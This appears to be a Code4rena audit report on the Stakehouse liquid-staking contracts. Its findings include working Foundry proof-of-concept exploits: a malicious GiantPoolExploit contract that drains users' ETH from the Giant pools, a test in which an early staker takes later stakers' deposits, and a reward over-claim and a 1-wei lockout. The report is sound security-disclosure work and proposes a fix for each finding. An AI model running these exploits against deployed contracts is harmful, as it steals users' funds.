LSD Network - Stakehouse contest - Jeiwan's results

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L63

Vulnerability details

Impact

Some StakingFundsVault stakers will get more rewards than expected while others will be locked out of claiming rewards due to insufficient funds.

Proof of Concept

When tracking rewards claimed by users, only the currently claimed amount is tracked, but it should accumulate all claimed rewards by a user-token pair (SyndicateRewardsProcessor.sol#L63):

uint256 due = ((accumulatedETHPerLPShare * balance) / PRECISION) - claimed[_user][_token];
if (due > 0) {
    claimed[_user][_token] = due; // @audit must accrue claimed rewards

    totalClaimed += due;

    (bool success, ) = _recipient.call{value: due}("");
    require(success, "Failed to transfer");

    emit ETHDistributed(_user, _recipient, due);
}

This allows stakers to receive a higher reward, basically stealing it from other stakers:

// test/foundry/StakingFundsVault.t.sol
function testNonAccumulatingClaimedRewards_AUDIT() public {
    // Resetting the mocks, we need real action.
    MockAccountManager(factory.accountMan()).setLifecycleStatus(blsPubKeyOne, 0);
    liquidStakingManager.setIsPartOfNetwork(blsPubKeyOne, false);

    // Aliasing accounts for better readability.
    address nodeRunner = accountOne;
    address alice = accountTwo;
    address bob = accountThree;
    vm.label(alice, "alice");
    vm.label(bob, "bob");

    // Node runner registers a BLS key.
    registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFive);

    uint256[] memory amounts = new uint256[](1);
    amounts[0] = maxStakingAmountPerValidator / 2;

    // Alice and Bob stake 50/50, their reward share will be equal.
    depositETH(alice, maxStakingAmountPerValidator / 2, amounts, getBytesArrayFromBytes(blsPubKeyOne));
    depositETH(bob, maxStakingAmountPerValidator / 2, amounts, getBytesArrayFromBytes(blsPubKeyOne));

    // Someone elese deposits to the savETH vault of the first key.
    liquidStakingManager.savETHVault().depositETHForStaking{value: 24 ether}(blsPubKeyOne, 24 ether);

    // The first validator is registered and the derivatives are minted.
    assertEq(vault.totalShares(), 0);
    stakeAndMintDerivativesSingleKey(blsPubKeyOne);
    assertEq(vault.totalShares(), 4 ether);

    // Warping to pass the lastInteractedTimestamp checks.
    vm.warp(block.timestamp + 1 hours);

    assertEq(alice.balance, 0);
    assertEq(bob.balance, 0);

    LPToken lpTokenBLSPubKeyOne = vault.lpTokenForKnot(blsPubKeyOne);

    // Issuing first round of rewards.
    uint256 rewardsAmount = 1 ether;
    vm.deal(address(vault), rewardsAmount);
    assertEq(address(vault).balance, rewardsAmount);
    // Alice and Bob will get 50% of the reward each.
    assertEq(vault.previewAccumulatedETH(alice, lpTokenBLSPubKeyOne), rewardsAmount / 2);
    assertEq(vault.previewAccumulatedETH(bob, lpTokenBLSPubKeyOne), rewardsAmount / 2);

    // Alice claims her reward.
    vm.startPrank(alice);
    vault.claimRewards(alice, getBytesArrayFromBytes(blsPubKeyOne));
    vm.stopPrank();
    assertEq(alice.balance, 0.5 ether);
    assertEq(vault.claimed(alice, address(lpTokenBLSPubKeyOne)), 0.5 ether);

    // Issuing second round of rewards.
    vm.deal(address(vault), address(vault).balance + rewardsAmount);
    // The vault is holding: this round's reward + the Bob's share from the previous round.
    assertEq(address(vault).balance, rewardsAmount + (rewardsAmount / 2));
    // Alice's share: 50% in the second round.
    assertEq(vault.previewAccumulatedETH(alice, lpTokenBLSPubKeyOne), rewardsAmount / 2);
    // Bob's share: 50% in the first round and 50% in the second one.
    assertEq(vault.previewAccumulatedETH(bob, lpTokenBLSPubKeyOne), 2 * (rewardsAmount / 2));

    // Alice claims her reward.
    vm.startPrank(alice);
    vault.claimRewards(alice, getBytesArrayFromBytes(blsPubKeyOne));
    vm.stopPrank();
    assertEq(alice.balance, 1 ether);
    // The claimed amount is set to 0.5 ETH (this round's claimed reward) instead of 1 ETH.
    assertEq(vault.claimed(alice, address(lpTokenBLSPubKeyOne)), 0.5 ether);

    // Issuing third round of rewards.
    vm.deal(address(vault), address(vault).balance + rewardsAmount);
    // Current round + the Bob's two unclaimed rewards from the previous rounds.
    assertEq(address(vault).balance, rewardsAmount + 2 * (rewardsAmount / 2));
    // ALERT: Alice is eligible for the whole reward!
    assertEq(vault.previewAccumulatedETH(alice, lpTokenBLSPubKeyOne), rewardsAmount);
    // Bob's share: 50% in three rounds.
    assertEq(vault.previewAccumulatedETH(bob, lpTokenBLSPubKeyOne), 3 * (rewardsAmount / 2));

    // Alice claims her reward.
    vm.startPrank(alice);
    vault.claimRewards(alice, getBytesArrayFromBytes(blsPubKeyOne));
    vm.stopPrank();
    // Alice got the entire reward of the third round.
    assertEq(alice.balance, 2 ether);
    assertEq(vault.claimed(alice, address(lpTokenBLSPubKeyOne)), 1 ether);

    // Bob tries to claim his reward and fails.
    vm.startPrank(bob);
    vm.expectRevert("Failed to transfer");
    vault.claimRewards(bob, getBytesArrayFromBytes(blsPubKeyOne));
    vm.stopPrank();
}

Tools Used

Manual reward

Recommended Mitigation Steps

Consider this change:

--- a/contracts/liquid-staking/SyndicateRewardsProcessor.sol
+++ b/contracts/liquid-staking/SyndicateRewardsProcessor.sol
@@ -60,7 +60,7 @@ abstract contract SyndicateRewardsProcessor {
             // Calculate how much ETH rewards the address is owed / due
             uint256 due = ((accumulatedETHPerLPShare * balance) / PRECISION) - claimed[_user][_token];
             if (due > 0) {
-                claimed[_user][_token] = due;
+                claimed[_user][_token] += due;

                 totalClaimed += due;

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/GiantSavETHVaultPool.sol#L50 https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/GiantMevAndFeesPool.sol#L44

Vulnerability details

Impact

An attacker can withdraw all ETH staked by users in a Giant pool. Both GiantSavETHVaultPool and GiantMevAndFeesPool are affected.

Proof of Concept

The batchDepositETHForStaking function in the Giant pools check whether a provided vault is authentic by validating its liquid staking manager contract and sends funds to the vault when the check passes (GiantSavETHVaultPool.sol#L48-L58):

SavETHVault savETHPool = SavETHVault(_savETHVaults[i]);
require(
    liquidStakingDerivativeFactory.isLiquidStakingManager(address(savETHPool.liquidStakingManager())),
    "Invalid liquid staking manager"
);

// Deposit ETH for staking of BLS key
savETHPool.batchDepositETHForStaking{ value: transactionAmount }(
    _blsPublicKeys[i],
    _stakeAmounts[i]
);

An attacker can pass an exploit contract as a vault. The exploit contract will implement liquidStakingManager that will return a valid staking manager contract address to trick a Giant pool into sending ETH to the exploit contract:

// test/foundry/GiantPools.t.sol
contract GiantPoolExploit {
    address immutable owner = msg.sender;
    address validStakingManager;

    constructor(address validStakingManager_) {
        validStakingManager = validStakingManager_;
    }

    function liquidStakingManager() public view returns (address) {
        return validStakingManager;
    }

    function batchDepositETHForStaking(bytes[] calldata /*_blsPublicKeyOfKnots*/, uint256[] calldata /*_amounts*/) external payable {
        payable(owner).transfer(address(this).balance);
    }
}

function testPoolDraining_AUDIT() public {
    // Register BLS key
    address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
    registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour);

    // Set up users and ETH
    address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);

    address attacker = address(0x1337);
    vm.label(attacker, "attacker");
    vm.deal(attacker, 1 ether);

    // User deposits ETH into Giant savETH
    vm.prank(savETHUser);
    giantSavETHPool.depositETH{value: 24 ether}(24 ether);
    assertEq(giantSavETHPool.lpTokenETH().balanceOf(savETHUser), 24 ether);
    assertEq(address(giantSavETHPool).balance, 24 ether);

    // Attacker deploys an exploit.
    vm.startPrank(attacker);
    GiantPoolExploit exploit = new GiantPoolExploit(address(manager));
    vm.stopPrank();

    // Attacker calls `batchDepositETHForStaking` to deposit ETH to their exploit contract.
    bytes[][] memory blsKeysForVaults = new bytes[][](1);
    blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne);

    uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
    stakeAmountsForVaults[0] = getUint256ArrayFromValues(24 ether);

    giantSavETHPool.batchDepositETHForStaking(
        getAddressArrayFromValues(address(exploit)),
        getUint256ArrayFromValues(24 ether),
        blsKeysForVaults,
        stakeAmountsForVaults
    );

    // Vault got nothing.
    assertEq(address(manager.savETHVault()).balance, 0 ether);
    // Attacker has stolen user's deposit.
    assertEq(attacker.balance, 25 ether);
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider taking a list of LiquidStakingManager addresses instead of vault addresses:

--- a/contracts/liquid-staking/GiantSavETHVaultPool.sol
+++ b/contracts/liquid-staking/GiantSavETHVaultPool.sol
@@ -27,12 +28,12 @@ contract GiantSavETHVaultPool is StakehouseAPI, GiantPoolBase {
     /// @param _blsPublicKeys For every savETH vault, the list of BLS keys of LSDN validators receiving funding
     /// @param _stakeAmounts For every savETH vault, the amount of ETH each BLS key will receive in funding
     function batchDepositETHForStaking(
-        address[] calldata _savETHVaults,
+        address[] calldata _liquidStakingManagers,
         uint256[] calldata _ETHTransactionAmounts,
         bytes[][] calldata _blsPublicKeys,
         uint256[][] calldata _stakeAmounts
     ) public {
-        uint256 numOfSavETHVaults = _savETHVaults.length;
+        uint256 numOfSavETHVaults = _liquidStakingManagers.length;
         require(numOfSavETHVaults > 0, "Empty arrays");
         require(numOfSavETHVaults == _ETHTransactionAmounts.length, "Inconsistent array lengths");
         require(numOfSavETHVaults == _blsPublicKeys.length, "Inconsistent array lengths");
@@ -40,16 +41,18 @@ contract GiantSavETHVaultPool is StakehouseAPI, GiantPoolBase {

         // For every vault specified, supply ETH for at least 1 BLS public key of a LSDN validator
         for (uint256 i; i < numOfSavETHVaults; ++i) {
+            require(
+                liquidStakingDerivativeFactory.isLiquidStakingManager(_liquidStakingManagers[i]),
+                "Invalid liquid staking manager"
+            );
+
             uint256 transactionAmount = _ETHTransactionAmounts[i];

             // As ETH is being deployed to a savETH pool vault, it is no longer idle
             idleETH -= transactionAmount;

-            SavETHVault savETHPool = SavETHVault(_savETHVaults[i]);
-            require(
-                liquidStakingDerivativeFactory.isLiquidStakingManager(address(savETHPool.liquidStakingManager())),
-                "Invalid liquid staking manager"
-            );
+            LiquidStakingManager liquidStakingManager = LiquidStakingManager(payable(_liquidStakingManagers[i]));
+            SavETHVault savETHPool = liquidStakingManager.savETHVault();

             // Deposit ETH for staking of BLS key
             savETHPool.batchDepositETHForStaking{ value: transactionAmount }(

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/StakingFundsVault.sol#L75 https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/StakingFundsVault.sol#L123 https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/StakingFundsVault.sol#L63

Vulnerability details

Impact

Stakers to the MEV+fees vault can steal funds from the new stakers who staked after a validator was registered and the derivatives were minted. A single staker who staked 4 ETH can steal all funds deposited by new stakers.

Proof of Concept

StakingFundsVault is designed to pull rewards from a Syndicate contract and distributed them pro-rata among LP token holders (StakingFundsVault.sol#L215-L231):

if (i == 0 && !Syndicate(payable(liquidStakingNetworkManager.syndicate())).isNoLongerPartOfSyndicate(_blsPubKeys[i])) {
    // Withdraw any ETH accrued on free floating SLOT from syndicate to this contract
    // If a partial list of BLS keys that have free floating staked are supplied, then partial funds accrued will be fetched
    _claimFundsFromSyndicateForDistribution(
        liquidStakingNetworkManager.syndicate(),
        _blsPubKeys
    );

    // Distribute ETH per LP
    updateAccumulatedETHPerLP();
}

// If msg.sender has a balance for the LP token associated with the BLS key, then send them any accrued ETH
LPToken token = lpTokenForKnot[_blsPubKeys[i]];
require(address(token) != address(0), "Invalid BLS key");
require(token.lastInteractedTimestamp(msg.sender) + 30 minutes < block.timestamp, "Last transfer too recent");
_distributeETHRewardsToUserForToken(msg.sender, address(token), token.balanceOf(msg.sender), _recipient);

The updateAccumulatedETHPerLP function calculates the reward amount per LP token share (SyndicateRewardsProcessor.sol#L76):

function _updateAccumulatedETHPerLP(uint256 _numOfShares) internal {
    if (_numOfShares > 0) {
        uint256 received = totalRewardsReceived();
        uint256 unprocessed = received - totalETHSeen;

        if (unprocessed > 0) {
            emit ETHReceived(unprocessed);

            // accumulated ETH per minted share is scaled to avoid precision loss. it is scaled down later
            accumulatedETHPerLPShare += (unprocessed * PRECISION) / _numOfShares;

            totalETHSeen = received;
        }
    }
}

And the _distributeETHRewardsToUserForToken function distributes rewards to LP token holders (SyndicateRewardsProcessor.sol#L51):

function _distributeETHRewardsToUserForToken(
    address _user,
    address _token,
    uint256 _balance,
    address _recipient
) internal {
    require(_recipient != address(0), "Zero address");
    uint256 balance = _balance;
    if (balance > 0) {
        // Calculate how much ETH rewards the address is owed / due 
        uint256 due = ((accumulatedETHPerLPShare * balance) / PRECISION) - claimed[_user][_token];
        if (due > 0) {
            claimed[_user][_token] = due;

            totalClaimed += due;

            (bool success, ) = _recipient.call{value: due}("");
            require(success, "Failed to transfer");

            emit ETHDistributed(_user, _recipient, due);
        }
    }
}

To ensure that rewards are distributed fairly, these functions are called before LP token balances are updated (e.g. when making a deposit StakingFundsVault.sol#L123).

However, this rewards accounting algorithm also counts deposited tokens:

1. to stake tokens, users call depositETHForStaking and send ETH (StakingFundsVault.sol#L113);
2. updateAccumulatedETHPerLP is called in the function (StakingFundsVault.sol#L123);
3. updateAccumulatedETHPerLP checks the balance of the contract, which already includes the new staked amount (SyndicateRewardsProcessor.sol#L78, SyndicateRewardsProcessor.sol#L94).
4. the staked amount is then counted in the accumulatedETHPerLPShare variable (SyndicateRewardsProcessor.sol#L85), which is used to calculate the reward amount per LP share (SyndicateRewardsProcessor.sol#L61).

This allows the following attack:

1. a user stakes 4 ETH to a BLS key;
2. the validator with the BLS key gets registered and its derivative tokens get minted;
3. a new user stakes some amount to a different BLS key;
4. the first user calls claimRewards and withdraws the stake of the new user.

// test/foundry/StakingFundsVault.t.sol
function testStealingOfDepositsByOldStakers_AUDIT() public {
    // Resetting the mocks, we need real action.
    MockAccountManager(factory.accountMan()).setLifecycleStatus(blsPubKeyOne, 0);
    MockAccountManager(factory.accountMan()).setLifecycleStatus(blsPubKeyTwo, 0);
    liquidStakingManager.setIsPartOfNetwork(blsPubKeyOne, false);
    liquidStakingManager.setIsPartOfNetwork(blsPubKeyTwo, false);

    // Aliasing accounts for better readability.
    address nodeRunner = accountOne;
    address alice = accountTwo;
    address alice2 = accountFour;
    address bob = accountThree;

    // Node runner registers two BLS keys.
    registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFive);
    registerSingleBLSPubKey(nodeRunner, blsPubKeyTwo, accountFive);

    // Alice deposits to the MEV+fees vault of the first key.
    maxETHDeposit(alice, getBytesArrayFromBytes(blsPubKeyOne));

    // Someone else deposits to the savETH vault of the first key.
    liquidStakingManager.savETHVault().depositETHForStaking{value: 24 ether}(blsPubKeyOne, 24 ether);

    // The first validator is registered and the derivatives are minted.
    assertEq(vault.totalShares(), 0);
    stakeAndMintDerivativesSingleKey(blsPubKeyOne);
    assertEq(vault.totalShares(), 4 ether);

    // Warping to pass the lastInteractedTimestamp checks.
    vm.warp(block.timestamp + 1 hours);

    // The first key cannot accept new deposits since the maximal amount was deposited
    // and the validator was register. The vault however can still be used to deposit to
    // other keys.

    // Bob deposits to the MEV+fees vault of the second key.
    maxETHDeposit(bob, getBytesArrayFromBytes(blsPubKeyTwo));
    assertEq(address(vault).balance, 4 ether);
    assertEq(bob.balance, 0);

    // Alice is claiming rewards for the first key.
    // Notice that no rewards were distributed to the MEV+fees vault of the first key.
    assertEq(alice2.balance, 0);
    vm.startPrank(alice);
    vault.claimRewards(alice2, getBytesArrayFromBytes(blsPubKeyOne));
    vm.stopPrank();

    LPToken lpTokenBLSPubKeyOne = vault.lpTokenForKnot(blsPubKeyOne);

    // Alice has stolen the Bob's deposit.
    assertEq(alice2.balance, 4 ether);
    assertEq(vault.claimed(alice, address(lpTokenBLSPubKeyOne)), 4 ether);
    assertEq(vault.claimed(alice2, address(lpTokenBLSPubKeyOne)), 0);

    assertEq(address(vault).balance, 0);
    assertEq(bob.balance, 0);
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider excluding newly staked amounts in the accumulatedETHPerLPShare calculations.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/GiantLP.sol#L44-L45 https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/LPToken.sol#L67-L68

Vulnerability details

Impact

A user can be locked out of performing some operations as a result of a lastInteractedTimestamp manipulation by a third party:

• withdrawing deposited ETH from a MEV+fees vault, StakingFundsVault.sol#L184;
• claiming rewards in a MEV+fees vault, StakingFundsVault.sol#L230;
• withdrawing deposited ETH or getting dETH in a savETH vault, SavETHVault.sol#L141;
• converting Giant LP tokens to validator LP tokens, GiantPoolBase.sol#L80;
• rotating LP tokens, ETHPoolLPFactory.sol#L82.

Moreover, since the Giant pools also act as depositors in the vaults, they can also be locked out of performing these operations, which will affect all the users who has deposited in the Giant pools.

Proof of Concept

Both LPToken and GiantLP token keep records of when LP tokens were transferred last time:

• LPToken.sol#L67-L68:

  function _afterTokenTransfer(address _from, address _to, uint256 _amount) internal override {
      lastInteractedTimestamp[_from] = block.timestamp;
      lastInteractedTimestamp[_to] = block.timestamp;
      if (address(transferHookProcessor) != address(0)) transferHookProcessor.afterTokenTransfer(_from, _to, _amount);
  }

• GiantLP.sol#L44-L45:

  function _afterTokenTransfer(address _from, address _to, uint256 _amount) internal override {
      lastInteractedTimestamp[_from] = block.timestamp;
      lastInteractedTimestamp[_to] = block.timestamp;
      if (address(transferHookProcessor) != address(0)) ITransferHookProcessor(transferHookProcessor).afterTokenTransfer(_from, _to, _amount);
  }

Whenever LP tokens are transferred, the timestamp of the transfer is recorded for both sender and receiver. This allows an attacker to send a small amount of LP tokens (e.g. 1 wei) to a victim and lock them out of performing the operations that require a delay since last token transfer.

Example Exploit Scenario

1. Bob deposits ETH into a MEV+fees vault and a savETH vault. Alice is a node runner who plans to use crowdsourced funds to run a validator.
2. Bob decides to withdraw his deposit by burning his LP tokens in the vaults (SavETHVault.sol#L126, StakingFundsVault.sol#L184).
3. Since Alice doesn't want Bob to withdraw the funds, she sends him 1 wei of LP tokens every 30 minutes, thus blocking the withdrawals (SavETHVault.sol#L141, StakingFundsVault.sol#L184).
4. Bob gets his transactions reverted every time he tries to withdraw funds.

Tools Used

Manual review

Recommended Mitigation Steps

In the _afterTokenTransfer hook of the LP token contracts, consider updating lastInteractedTimestamp only for the sender.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/SavETHVault.sol#L127

Vulnerability details

Impact

Stakers of the savETH vault might not be able to claim the full dETH amount they're eligible for and thus lose a portion of their stake.

Some other contracts are also affected by this issue, but the severity is lower:

• Amounts smaller than MIN_STAKING_AMOUNT cannot be withdrawn from Giant pools (GiantPoolBase.sol#L53). This can be mitigated by staking more tokens and then withdrawing all of them.
• LP token amounts smaller than MIN_STAKING_AMOUNT cannot be withdrawn from MEV+fees pools (StakingFundsVault.sol#L175). These amounts, however, can still be used by node runners to run validators and they'll generate rewards for stakers.

Proof of Concept

When burning savETH LP tokens in exchange for dETH (after derivatives were minted), one cannot burn less than MIN_STAKING_AMOUNT (SavETHVault.sol#L127):

require(_amount >= MIN_STAKING_AMOUNT, "Amount cannot be zero");

In case a staker has less than MIN_STAKING_AMOUNT LP tokens remaining, they won't be able to burn them and get the remaining dETH tokens they're eligible for. Consider this scenario:

1. A user stakes 1.9 * MIN_STAKING_AMOUNT (assume this is all they can afford to stake) in a savETH vault and gets an equal amount of LP tokens (ETHPoolLPFactory.sol#L125).
2. A validator gets registered and its derivative tokens get minted.
3. The user burns MIN_STAKING_AMOUNT of their LP tokens and gets a proportional amount of dETH tokens (SavETHVault.sol#L174).
4. The user then tries to burn the remaining LP tokens and fails because they have less than MIN_STAKING_AMOUNT LP tokens remained. The user cannot claim all dETH tokens they're eligible for.

The remaining LP tokens will be locked forever since they're only intended to be exchanged for dETH (after a validator was registered and derivatives were minted).

Tools Used

Manual review

Recommended Mitigation Steps

Consider removing the MIN_STAKING_AMOUNT checks from functions that let stakers withdraw funds.

[L-01] Node runner representative can be a contract

Targets

• https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/LiquidStakingManager.sol#L435

Impact

A node runner can bypass the check and add a representative that's a smart contract, not an EOA, as required by the function.

Proof of Concept

When a node runner registers BLS keys, they can specify a representative that must be an EOA (LiquidStakingManager.sol#L435):

require(!Address.isContract(_eoaRepresentative), "Only EOA representative permitted");

However, the check can be easily bypassed since smart contract addresses can be known in advance (CREATE and CREATE2 addresses can be predicted by knowing a nonce (in the case of CREATE) or a salt (in the case of CREATE2)). Thus, a node runner can specify an address at which a contract will be deployed after the address is registered as a representative.

Tools Used

Manual review

Recommended Mitigation Steps

Consider removing the check because there's no reliable way of checking whether an address is an EOA or a smart contract.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/LiquidStakingManager.sol#L280

Vulnerability details

Impact

Calling updateNodeRunnerWhitelistStatus will always revert, thus LSD Manager owner won't be able to maintain a list of allowed node runners.

Proof of Concept

The function requires that the current status of a node runner is not equal to itself (LiquidStakingManager.sol#L280):

require(isNodeRunnerWhitelisted[_nodeRunner] != isNodeRunnerWhitelisted[_nodeRunner], "Unnecessary update to same status");

Tools Used

Manual review

Recommended Mitigation Steps

Consider this change:

--- a/contracts/liquid-staking/LiquidStakingManager.sol
+++ b/contracts/liquid-staking/LiquidStakingManager.sol
@@ -277,7 +277,7 @@ contract LiquidStakingManager is ILiquidStakingManager, Initializable, Reentranc
     /// @param isWhitelisted true if the node runner should be whitelisted. false otherwise.
     function updateNodeRunnerWhitelistStatus(address _nodeRunner, bool isWhitelisted) external onlyDAO {
         require(_nodeRunner != address(0), "Zero address");
-        require(isNodeRunnerWhitelisted[_nodeRunner] != isNodeRunnerWhitelisted[_nodeRunner], "Unnecessary update to same status");
+        require(isNodeRunnerWhitelisted[_nodeRunner] != isWhitelisted, "Unnecessary update to same status");

         isNodeRunnerWhitelisted[_nodeRunner] = isWhitelisted;
         emit NodeRunnerWhitelistingStatusChanged(_nodeRunner, isWhitelisted);